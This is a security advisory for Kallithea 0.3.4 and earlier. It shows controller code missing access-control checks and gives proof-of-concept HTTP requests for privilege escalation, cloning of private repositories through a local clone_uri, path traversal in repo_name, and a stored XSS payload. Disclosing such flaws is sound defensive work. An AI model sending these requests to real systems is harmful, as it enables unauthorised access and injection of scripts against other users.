Kallithea <= 0.3.4 Incorrect access control and XSS

Homepage:

https://kallithea-scm.org/security/

Description:

Introduction

Polish video about those bugs:

1. This vulnerability allows a normal user to modify the permissions of repositories that he normally shouldn’t have access to.

This allows the user to get full admin access to the repository.

edit_permissions_update and edit_permissions_revoke are not decorated with @HasRepoPermissionAllDecorator('repository.admin').

File: kallithea\controllers\admin\repos.py

def edit_permissions_update(self, repo_name):
        form = RepoPermsForm()().to_python(request.POST)
        RepoModel()._update_permissions(repo_name, form['perms_new'],
                                        form['perms_updates'])
        #TODO: implement this
        #action_logger(self.authuser, 'admin_changed_repo_permissions',
        #              repo_name, self.ip_addr, self.sa)
        Session().commit()
        h.flash(_('Repository permissions updated'), category='success')
        return redirect(url('edit_repo_perms', repo_name=repo_name))

    def edit_permissions_revoke(self, repo_name):
        try:
            obj_type = request.POST.get('obj_type')
            obj_id = None
            if obj_type == 'user':
                obj_id = safe_int(request.POST.get('user_id'))
            elif obj_type == 'user_group':
                obj_id = safe_int(request.POST.get('user_group_id'))

            if obj_type == 'user':
                RepoModel().revoke_user_permission(repo=repo_name, user=obj_id)
            elif obj_type == 'user_group':
                RepoModel().revoke_user_group_permission(
                    repo=repo_name, group_name=obj_id
                )
            #TODO: implement this
            #action_logger(self.authuser, 'admin_revoked_repo_permissions',
            #              repo_name, self.ip_addr, self.sa)
            Session().commit()
        except Exception:
            log.error(traceback.format_exc())
            h.flash(_('An error occurred during revoking of permission'),
                    category='error')
            raise HTTPInternalServerError()

POC:

Set your your_token_here and your_username.

After this your_username obtain repository.admin permission for not_my_secret_repo.

POST /not_my_secret_repo/settings/permissions HTTP/1.1
Host: localhost:5000
Content-Length: 225
Connection: close

_method=put&_authentication_token=%your_token_here%&repo_private=False&u_perm_default=repository.admin&perm_new_member_1=repository.admin&perm_new_member_name_1=%your_username%&perm_new_member_type_1=user&save=Save

2. This vulnerability allows a normal user to access the contents of repositories they do not normally have access to.

User can access any repository through clone functionality if he knows its name.

clone_uri inside create_repo API call is not properly validated so it’s possible to pass local path to this parameter.

Newly created repository contains exact copy of repository that you don’t have access to.

POC:

GET /_admin/api HTTP/1.1
Host: localhost:5000
Content-Length: 168
Connection: close

{"id":1,"api_key":"your_api_key","method":"create_repo","args":{"repo_name":"repo_copy","clone_uri":"C:\\kalithea\\repo_dir\\secret_repo"}}

3. This vulnerability allows a normal user to clone a repository to a filesystem path outside the Kallithea repository root.

repo_name inside create_repo API call is not properly validated.

It’s possible to set it to something like: ../../../upper_dir

POC:

GET /_admin/api HTTP/1.1
Host: localhost:5000
Connection: close
Content-Length: 126

{"id":1,"api_key":"your_api_key","method":"create_repo","args":{"repo_name":"../../../upper_dir"}}

4.

This vulnerability allows a normal user to inject code into pages visible to other users/visitors of Kallithea (XSS).

repo_name inside create_repo API call is not properly validated and vulnerable to XSS attack.

XSS is visible after you click: Repositories button and also inside _admin/repo_groups/new (if you set different payload).

POC:

GET /_admin/api HTTP/1.1
Host: localhost:5000
Content-Length: 140
Connection: close

{"id":1,"api_key":"your_api_key","method":"create_repo","args":{"repo_name":"<img src=x onerror=alert(1)>/sth"}}

POC

POC Files on Github

Timeline: